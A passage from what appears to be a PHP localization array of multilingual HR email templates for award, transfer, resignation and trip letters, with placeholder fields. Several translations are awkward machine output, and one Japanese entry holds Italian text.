我相信这些品质和特征需要得到重视。因此,(他/她)值得获奖,因此提名她.

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב פרס כדי להכיר בעובד

היי {award_name},

אני מאוד שמח למנות {award_name}

אני מרוצה ש(הוא/היא) הוא העובד הטוב ביותר עבור הפרס. הבנתי שהיא אדם ממוקד מטרה, יעילה ומאוד דייקנית. היא תמיד מוכנה לחלוק את הידע שלה בפרטים.

בנוסף, (הוא/היא) פתר מדי פעם קונפליקטים ומצבים קשים בתוך שעות העבודה. (הוא/היא) קיבל כמה פרסים מהארגון הלא ממשלתי במדינה; זה היה בגלל השתתפות בפעילויות צדקה כדי לעזור לנזקקים.

אני מאמין שצריך להעריך את התכונות והמאפיינים האלה. לכן, (הוא/היא) ראוי לפרס ומכאן שמינו אותה.

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de premiação para reconhecer um funcionário

Oi {award_name},

Estou muito satisfeito em nomear {award_name}

Estou satisfeito que (he/she) é o melhor funcionário para o prêmio. Eu percebi que ela é uma pessoa orientada a goal, eficiente e muito pontual. Ela está sempre pronta para compartilhar seu conhecimento de detalhes.

Adicionalmente, (he/she) tem, ocasionalmente, resolvido conflitos e situações difíceis dentro do horário de trabalho. (he/she) recebeu alguns prêmios da organização não governamental dentro do país; isso foi por ter participado de atividades de caridade para ajudar os necessitados.

Eu acredito que essas qualidades e características precisam ser apreciadas. Por isso, (he/she) merece o prêmio daí nomeando-a.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_transfer' => [ 'subject' => 'Employee Transfer', 'lang' => [ 'ar' => '

Subject : -HR ادارة / شركة لارسال خطاب نقل الى موظف من مكان الى آخر.

عزيزي { transfer_name },

وفقا لتوجيهات الادارة ، يتم نقل الخدمات الخاصة بك w.e.f. { transfer_date }.

مكان الادخال الجديد الخاص بك هو { transfer_department } قسم من فرع { transfer_branch } وتاريخ التحويل { transfer_date }.

{ transfer_description }.

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Emne:-HR-afdelingen / kompagniet om at sende overførsels brev til en medarbejder fra den ene lokalitet til den anden.

Kære { transfer_name },

Som Styring af direktiver overføres dine serviceydelser w.e.f. { transfer_date }.

Dit nye sted for postering er { transfer_departement } afdeling af { transfer_branch } gren og dato for overførsel { transfer_date }.

{ transfer_description }.

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Unternehmen, um einen Überweisungsschreiben an einen Mitarbeiter von einem Standort an einen anderen zu senden.

Sehr geehrter {transfer_name},

Wie pro Management-Direktiven werden Ihre Dienste über w.e.f. {transfer_date} übertragen.

Ihr neuer Ort der Entsendung ist {transfer_department} Abteilung von {transfer_branch} Niederlassung und Datum der Übertragung {transfer_date}.

{transfer_description}.

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send transfer letter to be issued to an employee from one location to another.

Dear {transfer_name},

As per Management directives, your services are being transferred w.e.f.{transfer_date}.

Your new place of posting is {transfer_department} department of {transfer_branch} branch and date of transfer {transfer_date}.

{transfer_description}.

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RR.HH./Empresa para enviar carta de transferencia a un empleado de un lugar a otro.

Estimado {transfer_name},

Según las directivas de gestión, los servicios se transfieren w.e.f. {transfer_date}.

El nuevo lugar de publicación es el departamento {transfer_department} de la rama {transfer_branch} y la fecha de transferencia {transfer_date}.

{transfer_description}.

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Ministère des RH / Société denvoi dune lettre de transfert à un employé dun endroit à un autre.

Cher { transfer_name },

Selon les directives de gestion, vos services sont transférés dans w.e.f. { transfer_date }.

Votre nouveau lieu daffectation est le département { transfer_department } de la branche { transfer_branch } et la date de transfert { transfer_date }.

{ description_transfert }.

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di trasferimento da rilasciare a un dipendente da una località allaltra.

Caro {transfer_name},

Come per le direttive di Management, i tuoi servizi vengono trasferiti w.e.f. {transfer_date}.

Il tuo nuovo luogo di distacco è {transfer_department} dipartimento di {transfer_branch} ramo e data di trasferimento {transfer_date}.

{transfer_description}.

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di trasferimento da rilasciare a un dipendente da una località allaltra.

Caro {transfer_name},

Come per le direttive di Management, i tuoi servizi vengono trasferiti w.e.f. {transfer_date}.

Il tuo nuovo luogo di distacco è {transfer_department} dipartimento di {transfer_branch} ramo e data di trasferimento {transfer_date}.

{transfer_description}.

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf voor verzending van overdrachtsbrief aan een werknemer van de ene plaats naar de andere.

Geachte { transfer_name },

Als per beheerinstructie worden uw services overgebracht w.e.f. { transfer_date }.

Uw nieuwe plaats van post is { transfer_department } van de afdeling { transfer_branch } en datum van overdracht { transfer_date }.

{ transfer_description }.

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat:-Dział HR/Firma do wysyłania listu przelewowego, który ma być wydany pracownikowi z jednego miejsca do drugiego.

Droga {transfer_name },

Zgodnie z dyrektywami zarządzania, Twoje usługi są przesyłane w.e.f. {transfer_date }.

Twoje nowe miejsce delegowania to {transfer_department } dział {transfer_branch } gałąź i data transferu {transfer_date }.

{transfer_description }.

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания для отправки трансферного письма сотруднику из одного места в другое.

Уважаемый { transfer_name },

В соответствии с директивами управления ваши службы передаются .ef. { transfer_date }.

Новое место разноски: { transfer_department} подразделение { transfer_branch } и дата передачи { transfer_date }.

{ transfer_description }.

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de transferência para ser emitida para um funcionário de um local para outro.

Querido {transfer_name},

Conforme diretivas de Gerenciamento, seus serviços estão sendo transferidos w.e.f. {transfer_date}.

O seu novo local de postagem é {transfer_departamento} departamento de {transfer_branch} ramo e data de transferência {transfer_date}.

{transfer_description}.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İK departmanı/Şirket, bir çalışana bir konumdan diğerine verilecek transfer mektubunu göndermek için.

Sayın {transfer_name},

Yönetim direktifleri uyarınca, hizmetleriniz w.e.f.{transfer_date}.

Yeni gönderi yeriniz {transfer_department} Bölümü {transfer_branch} şube ve devir tarihi {transfer_date}.

{transfer_description}.

Herhangi bir sorunuz varsa çekinmeden bize ulaşın.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-人力资源部门/公司将发给员工的调动信从一个地点发送到另一个地点.

亲爱的 {transfer_name},

根据管理层指令,您的服务将在即日起转移。{transfer_date}.

您的新发帖地点是 {transfer_department} 部门 {transfer_branch} 分支机构和转移日期 {transfer_date}.

{transfer_description}.

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב העברה שיונפק לעובד ממקום אחד למשנהו.

יָקָר {transfer_name},

בהתאם להנחיות ההנהלה, השירותים שלך מועברים w.e.f.{transfer_date}.

מקום הפרסום החדש שלך הוא {transfer_department} מחלקת ה {transfer_branch} סניף ותאריך העברה {transfer_date}.

{transfer_description}.

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de transferência para ser emitida para um funcionário de um local para outro.

Querido {transfer_name},

Conforme diretivas de Gerenciamento, seus serviços estão sendo transferidos w.e.f. {transfer_date}.

O seu novo local de postagem é {transfer_departamento} departamento de {transfer_branch} ramo e data de transferência {transfer_date}.

{transfer_description}.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_resignation' => [ 'subject' => 'Employee Resignation', 'lang' => [ 'ar' => '

Subject :-قسم الموارد البشرية / الشركة لإرسال خطاب استقالته.

عزيزي { assign_user } ،

إنه لمن دواعي الأسف الشديد أن أعترف رسميا باستلام إشعار استقالتك في { notice_date } الى { resignation_date } هو اليوم الأخير لعملك.

لقد كان من دواعي سروري العمل معكم ، وبالنيابة عن الفريق ، أود أن أتمنى لكم أفضل جدا في جميع مساعيكم في المستقبل. ومن خلال هذه الرسالة ، يرجى العثور على حزمة معلومات تتضمن معلومات مفصلة عن عملية الاستقالة.

شكرا لكم مرة أخرى على موقفكم الإيجابي والعمل الجاد كل هذه السنوات.

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Om: HR-afdelingen / Kompagniet, for at sende en opsigelse.

Kære { assign_user },

Det er med stor beklagelse, at jeg formelt anerkender modtagelsen af din opsigelsesmeddelelse på { notice_date } til { resignation_date } er din sidste arbejdsdag

Det har været en fornøjelse at arbejde sammen med Dem, og på vegne af teamet vil jeg ønske Dem det bedste i alle Deres fremtidige bestræbelser. Med dette brev kan du finde en informationspakke med detaljerede oplysninger om tilbagetrædelsesprocessen.

Endnu en gang tak for Deres positive holdning og hårde arbejde i alle disse år.

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Firma, um Rückmeldungsschreiben zu senden.

Sehr geehrter {assign_user},

Es ist mit großem Bedauern, dass ich den Eingang Ihrer Rücktrittshinweis auf {notice_date} an {resignation_date} offiziell bestätige, ist Ihr letzter Arbeitstag.

Es war eine Freude, mit Ihnen zu arbeiten, und im Namen des Teams möchte ich Ihnen wünschen, dass Sie in allen Ihren zukünftigen Bemühungen am besten sind. In diesem Brief finden Sie ein Informationspaket mit detaillierten Informationen zum Rücktrittsprozess.

Vielen Dank noch einmal für Ihre positive Einstellung und harte Arbeit all die Jahre.

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send resignation letter .

Dear {assign_user},

It is with great regret that I formally acknowledge receipt of your resignation notice on {notice_date} to {resignation_date} is your final day of work.

It has been a pleasure working with you, and on behalf of the team, I would like to wish you the very best in all your future endeavors. Included with this letter, please find an information packet with detailed information on the resignation process.

Thank you again for your positive attitude and hard work all these years.

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar carta de renuncia.

Estimado {assign_user},

Es con gran pesar que recibo formalmente la recepción de su aviso de renuncia en {notice_date} a {resignation_date} es su último día de trabajo.

Ha sido un placer trabajar con usted, y en nombre del equipo, me gustaría desearle lo mejor en todos sus esfuerzos futuros. Incluido con esta carta, por favor encuentre un paquete de información con información detallada sobre el proceso de renuncia.

Gracias de nuevo por su actitud positiva y trabajo duro todos estos años.

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Département RH / Société denvoi dune lettre de démission.

Cher { assign_user },

Cest avec grand regret que je reconnais officiellement la réception de votre avis de démission sur { notice_date } à { resignation_date } est votre dernier jour de travail.

Cest un plaisir de travailler avec vous, et au nom de léquipe, jaimerais vous souhaiter le meilleur dans toutes vos activités futures. Inclus avec cette lettre, veuillez trouver un paquet dinformation contenant des informations détaillées sur le processus de démission.

Je vous remercie encore de votre attitude positive et de votre travail acharne durant toutes ces années.

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di dimissioni.

Caro {assign_user},

È con grande dispiacere che riconosca formalmente la ricezione del tuo avviso di dimissioni su {notice_date} a {resignation_date} è la tua giornata di lavoro finale.

È stato un piacere lavorare con voi, e a nome della squadra, vorrei augurarvi il massimo in tutti i vostri futuri sforzi. Incluso con questa lettera, si prega di trovare un pacchetto informativo con informazioni dettagliate sul processo di dimissioni.

Grazie ancora per il vostro atteggiamento positivo e duro lavoro in tutti questi anni.

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/企業は辞表を送信します。

{assign_user} の認証を解除します。

{ notice_date} に対するあなたの辞任通知を { resignation_date} に正式に受理することを正式に確認することは、非常に残念です。

あなたと一緒に仕事をしていて、チームのために、あなたの将来の努力において、あなたのことを最高のものにしたいと思っています。 このレターには、辞任プロセスに関する詳細な情報が記載されている情報パケットをご覧ください。

これらの長年の前向きな姿勢と努力を重ねて感謝します。

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf om ontslagbrief te sturen.

Geachte { assign_user },

Het is met grote spijt dat ik de ontvangst van uw ontslagbrief op { notice_date } tot { resignation_date } formeel de ontvangst van uw laatste dag van het werk bevestigt.

Het was een genoegen om met u samen te werken, en namens het team zou ik u het allerbeste willen wensen in al uw toekomstige inspanningen. Vermeld bij deze brief een informatiepakket met gedetailleerde informatie over het ontslagproces.

Nogmaals bedankt voor uw positieve houding en hard werken al die jaren.

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat: -Dział HR/Firma do wysyłania listu rezygnacyjnego.

Drogi użytkownika {assign_user },

Z wielkim żalem, że oficjalnie potwierdzam otrzymanie powiadomienia o rezygnacji w dniu {notice_date } to {resignation_date } to twój ostatni dzień pracy.

Z przyjemnością współpracujemy z Tobą, a w imieniu zespołu chciałbym życzyć Wam wszystkiego najlepszego we wszystkich swoich przyszłych przedsięwzięciu. Dołączone do tego listu prosimy o znalezienie pakietu informacyjnego ze szczegółowymi informacjami na temat procesu dymisji.

Jeszcze raz dziękuję za pozytywne nastawienie i ciężką pracę przez te wszystkie lata.

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания отправить письмо об отставке.

Уважаемый пользователь { assign_user },

С большим сожалением я официально подтверждаю получение вашего уведомления об отставке { notice_date } в { resignation_date }-это ваш последний день работы.

С Вами было приятно работать, и от имени команды я хотел бы по# желать вам самого лучшего во всех ваших будущих начинаниях. В этом письме Вы можете найти информационный пакет с подробной информацией об отставке.

Еще раз спасибо за ваше позитивное отношение и трудолюбие все эти годы.

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de demissão.

Querido {assign_user},

É com grande pesar que reconheço formalmente o recebimento do seu aviso de demissão em {notice_date} a {resignation_date} é o seu dia final de trabalho.

Foi um prazer trabalhar com você, e em nome da equipe, gostaria de desejá-lo o melhor em todos os seus futuros empreendimentos. Incluídos com esta carta, por favor, encontre um pacote de informações com informações detalhadas sobre o processo de demissão.

Obrigado novamente por sua atitude positiva e trabalho duro todos esses anos.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İstifa mektubu gönderilecek İK departmanı/Şirket.

Sayın {assign_user},

İstifa bildiriminizi aldığımı büyük bir üzüntüyle resmen kabul ediyorum {notice_date} ile {resignation_date} işin son günü.

Sizinle çalışmak bir zevkti ve ekip adına, gelecekteki tüm çabalarınızda size en iyisini diliyorum. Bu mektuba ek olarak, lütfen istifa süreci hakkında ayrıntılı bilgi içeren bir bilgi paketi bulun.

Tüm bu yıllar boyunca olumlu tutumunuz ve sıkı çalışmanız için tekrar teşekkür ederiz.

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-人力资源部/公司发送辞职信 .

亲爱的 {assign_user},

我非常遗憾地正式确认收到您的辞职通知 {notice_date} 到 {resignation_date} 是你最后一天的工作.

与您合作非常愉快,我谨代表团队祝愿您在未来的工作中一切顺利。请在这封信中找到一个信息包,其中包含有关辞职流程的详细信息.

再次感谢您这些年来的积极态度和努力.

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב התפטרות .

יָקָר {assign_user},

בצער רב אני מאשר רשמית את קבלת הודעת ההתפטרות שלך ביום {notice_date} ל {resignation_date} הוא היום האחרון לעבודה שלך.

היה לי תענוג לעבוד איתך, ובשם הצוות, אני רוצה לאחל לך את הטוב ביותר בכל העשייה העתידית שלך. מצורף למכתב זה, נא למצוא חבילת מידע עם מידע מפורט על תהליך ההתפטרות.

שוב תודה לך על הגישה החיובית והעבודה הקשה כל השנים.

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de demissão.

Querido {assign_user},

É com grande pesar que reconheço formalmente o recebimento do seu aviso de demissão em {notice_date} a {resignation_date} é o seu dia final de trabalho.

Foi um prazer trabalhar com você, e em nome da equipe, gostaria de desejá-lo o melhor em todos os seus futuros empreendimentos. Incluídos com esta carta, por favor, encontre um pacote de informações com informações detalhadas sobre o processo de demissão.

Obrigado novamente por sua atitude positiva e trabalho duro todos esses anos.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_trip' => [ 'subject' => 'Employee Trip', 'lang' => [ 'ar' => '

Subject : -HR ادارة / شركة لارسال رسالة رحلة.

عزيزي { employee_trip_name },

قمة الصباح إليك ! أكتب إلى مكتب إدارتكم بطلب متواضع للسفر من أجل زيارة إلى الخارج عن قصد.

وسيكون هذا المنتدى هو المنتدى الرئيسي لأعمال المناخ في العام ، وقد كان محظوظا بما فيه الكفاية لكي يرشح لتمثيل شركتنا والمنطقة خلال الحلقة الدراسية.

إن عضويتي التي دامت ثلاث سنوات كجزء من المجموعة والمساهمات التي قدمتها إلى الشركة ، ونتيجة لذلك ، كانت مفيدة من الناحية التكافلية. وفي هذا الصدد ، فإنني أطلب منكم بصفتي الرئيس المباشر لي أن يسمح لي بالحضور.

مزيد من التفاصيل عن الرحلة : 

مدة الرحلة : { start_date } الى { end_date }

الغرض من الزيارة : { purpose_of_visit }

مكان الزيارة : { place_of_visit }

الوصف : { trip_description }

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Om: HR-afdelingen / Kompagniet, der skal sende udflugten.

Kære { employee_trip_name },

Godmorgen til dig! Jeg skriver til dit kontor med en ydmyg anmodning om at rejse for en { purpose_of_visit } i udlandet.

Det ville være årets førende klimaforum, og det ville være heldigt nok at blive nomineret til at repræsentere vores virksomhed og regionen under seminaret.

Mit treårige medlemskab som en del af den gruppe og de bidrag, jeg har givet til virksomheden, har som følge heraf været symbiotisk fordelagtigt. I den henseende anmoder jeg om, at De som min nærmeste overordnede giver mig lov til at deltage.

Flere oplysninger om turen:

Trip Duration: { start_date } til { end_date }

Formålet med Besøg: { purpose_of_visit }

Plads af besøg: { place_of_visit }

Beskrivelse: { trip_description }

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Firma, um Reisebrief zu schicken.

Sehr geehrter {employee_trip_name},

Top of the morning to you! Ich schreibe an Ihre Dienststelle mit demütiger Bitte um eine Reise nach einem {purpose_of_visit} im Ausland.

Es wäre das führende Klima-Business-Forum des Jahres und hatte das Glück, nominiert zu werden, um unser Unternehmen und die Region während des Seminars zu vertreten.

Meine dreijährige Mitgliedschaft als Teil der Gruppe und die Beiträge, die ich an das Unternehmen gemacht habe, sind dadurch symbiotisch vorteilhaft gewesen. In diesem Zusammenhang ersuche ich Sie als meinen unmittelbaren Vorgesetzten, mir zu gestatten, zu besuchen.

Mehr Details zu Reise:

Dauer der Fahrt: {start_date} bis {end_date}

Zweck des Besuchs: {purpose_of_visit}

Ort des Besuchs: {place_of_visit}

Beschreibung: {trip_description}

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send trip letter .

Dear {employee_trip_name},

Top of the morning to you! I am writing to your department office with a humble request to travel for a {purpose_of_visit} abroad.

It would be the leading climate business forum of the year and have been lucky enough to be nominated to represent our company and the region during the seminar.

My three-year membership as part of the group and contributions I have made to the company, as a result, have been symbiotically beneficial. In that regard, I am requesting you as my immediate superior to permit me to attend.

More detail about trip:{start_date} to {end_date}

Trip Duration:{start_date} to {end_date}

Purpose of Visit:{purpose_of_visit}

Place of Visit:{place_of_visit}

Description:{trip_description}

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar carta de viaje.

Estimado {employee_trip_name},

¡Top de la mañana para ti! Estoy escribiendo a su oficina del departamento con una humilde petición de viajar para un {purpose_of_visit} en el extranjero.

Sería el principal foro de negocios climáticos del año y han tenido la suerte de ser nominados para representar a nuestra compañía y a la región durante el seminario.

Mi membresía de tres años como parte del grupo y las contribuciones que he hecho a la compañía, como resultado, han sido simbóticamente beneficiosos. En ese sentido, le estoy solicitando como mi superior inmediato que me permita asistir.

Más detalles sobre el viaje: 

Duración del viaje: {start_date} a {end_date}

Finalidad de la visita: {purpose_of_visit}

Lugar de visita: {place_of_visit}

Descripción: {trip_description}

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Service des RH / Compagnie pour envoyer une lettre de voyage.

Cher { employee_trip_name },

Top of the morning to you ! Jécrai au bureau de votre ministère avec une humble demande de voyage pour une {purpose_of_visit } à létranger.

Il sagit du principal forum sur le climat de lannée et a eu la chance dêtre désigné pour représenter notre entreprise et la région au cours du séminaire.

Mon adhésion de trois ans au groupe et les contributions que jai faites à lentreprise, en conséquence, ont été bénéfiques sur le plan symbiotique. À cet égard, je vous demande dêtre mon supérieur immédiat pour me permettre dy assister.

Plus de détails sur le voyage:

Durée du voyage: { start_date } à { end_date }

Objet de la visite: { purpose_of_visit}

Lieu de visite: { place_of_visit }

Description: { trip_description }

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di viaggio.

Caro {employee_trip_name},

In cima al mattino a te! Scrivo al tuo ufficio dipartimento con umile richiesta di viaggio per un {purpose_of_visit} allestero.

Sarebbe il forum aziendale sul clima leader dellanno e sono stati abbastanza fortunati da essere nominati per rappresentare la nostra azienda e la regione durante il seminario.

La mia adesione triennale come parte del gruppo e i contributi che ho apportato allazienda, di conseguenza, sono stati simbioticamente vantaggiosi. A tal proposito, vi chiedo come mio immediato superiore per consentirmi di partecipare.

Più dettagli sul viaggio:

Trip Duration: {start_date} a {end_date}

Finalità di Visita: {purpose_of_visit}

Luogo di Visita: {place_of_visit}

Descrizione: {trip_description}

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/会社は出張レターを送信します。

{ employee_trip_name} に出庫します。

朝のトップだ ! 海外で {purpose_of_visit} をお願いしたいという謙虚な要求をもって、私はあなたの部署に手紙を書いています。

これは、今年の主要な気候ビジネス・フォーラムとなり、セミナーの開催中に当社と地域を代表する候補になるほど幸運にも恵まれています。

私が会社に対して行った 3 年間のメンバーシップは、その結果として、共生的に有益なものでした。 その点では、私は、私が出席することを許可することを、私の即座の上司として

トリップについての詳細 :

トリップ期間:{start_date} を {end_date} に設定します

アクセスの目的 :{purpose_of_visit}

訪問の場所 :{place_of_visit}

説明:{trip_description}

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf om reisbrief te sturen.

Geachte { employee_trip_name },

Top van de ochtend aan u! Ik schrijf uw afdelingsbureau met een bescheiden verzoek om een { purpose_of_visit } in het buitenland te bezoeken.

Het zou het toonaangevende klimaatforum van het jaar zijn en hebben het geluk gehad om genomineerd te worden om ons bedrijf en de regio te vertegenwoordigen tijdens het seminar.

Mijn driejarige lidmaatschap als onderdeel van de groep en bijdragen die ik heb geleverd aan het bedrijf, als gevolg daarvan, zijn symbiotisch gunstig geweest. Wat dat betreft, verzoek ik u als mijn directe chef mij in staat te stellen aanwezig te zijn.

Meer details over reis:

Duur van reis: { start_date } tot { end_date }

Doel van bezoek: { purpose_of_visit }

Plaats van bezoek: { place_of_visit }

Beschrijving: { trip_description }

Voel je vrij om uit te reiken als je vragen hebt.

Dank u we

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat:-Dział HR/Firma do wysyłania listu podróży.

Szanowny {employee_trip_name },

Od samego rana do Ciebie! Piszę do twojego biura, z pokornym prośbą o wyjazd na {purpose_of_visit } za granicą.

Byłoby to wiodącym forum biznesowym w tym roku i miało szczęście być nominowane do reprezentowania naszej firmy i regionu podczas seminarium.

Moje trzyletnie członkostwo w grupie i składkach, które uczyniłem w firmie, w rezultacie, były symbiotycznie korzystne. W tym względzie, zwracam się do pana o mój bezpośredni przełożony, który pozwoli mi na udział w tej sprawie.

Więcej szczegółów na temat wyjazdu:

Czas trwania rejsu: {start_date } do {end_date }

Cel wizyty: {purpose_of_visit }

Miejsce wizyty: {place_of_visit }

Opis: {trip_description }

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания для отправки письма на поездку.

Уважаемый { employee_trip_name },

С утра до тебя! Я пишу в ваш отдел с смиренным запросом на поездку за границу.

Это был бы ведущий климатический бизнес-форум года и по везло, что в ходе семинара он будет представлять нашу компанию и регион.

Мое трехлетнее членство в составе группы и взносы, которые я внес в компанию, в результате, были симбиотически выгодны. В этой связи я прошу вас как моего непосредственного начальника разрешить мне присутствовать.

Подробнее о поездке:

Длительность поездки: { start_date } в { end_date }

Цель посещения: { purpose_of_visit }

Место посещения: { place_of_visit }

Описание: { trip_description }

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de viagem.

Querido {employee_trip_name},

Topo da manhã para você! Estou escrevendo para o seu departamento de departamento com um humilde pedido para viajar por um {purpose_of_visit} no exterior.

Seria o principal fórum de negócios climático do ano e teve a sorte de ser indicado para representar nossa empresa e a região durante o seminário.

A minha filiação de três anos como parte do grupo e contribuições que fiz à empresa, como resultado, foram simbioticamente benéfico. A esse respeito, solicito que você seja meu superior imediato para me permitir comparecer.

Mais detalhes sobre viagem:

Trip Duração: {start_date} a {end_date}

Objetivo da Visita: {purpose_of_visit}

Local de Visita: {place_of_visit}

Descrição: {trip_description}

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İK departmanı/Şirket gezi mektubu gönderecek .

Sayın {employee_trip_name},

Size sabahın en iyisi! Mütevazi bir seyahat talebiyle departman ofisinize yazıyorum {purpose_of_visit} yurt dışı.

Yılın önde gelen iklim iş forumu olacaktı ve seminer sırasında şirketimizi ve bölgeyi temsil edecek kadar şanslıydık.

Grubun bir parçası olarak üç yıllık üyeliğim ve bunun sonucunda şirkete yaptığım katkılar simbiyotik olarak faydalı oldu. Bu bağlamda, acil amirim olarak katılmama izin vermenizi rica ediyorum.

Gezi hakkında daha fazla detay:{start_date} ile {end_date}

Yolculuk Süresi:{start_date} ile {end_date}

Ziyaret amacı:{purpose_of_visit}

Ziyaret Yeri:{place_of_visit}

Tanım:{trip_description}

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-HR部门/公司发送出差函 .

亲爱的 {employee_trip_name},

早上好!我写信给你们的部门办公室,提出一个小小的旅行请求 {purpose_of_visit} 国外.

这将是今年领先的气候商业论坛,我们很幸运能够被提名在研讨会上代表我们公司和该地区.

我作为团队成员的三年会员身份以及我对公司做出的贡献是共生有益的。在这方面,我请求你作为我的直接上级允许我参加.

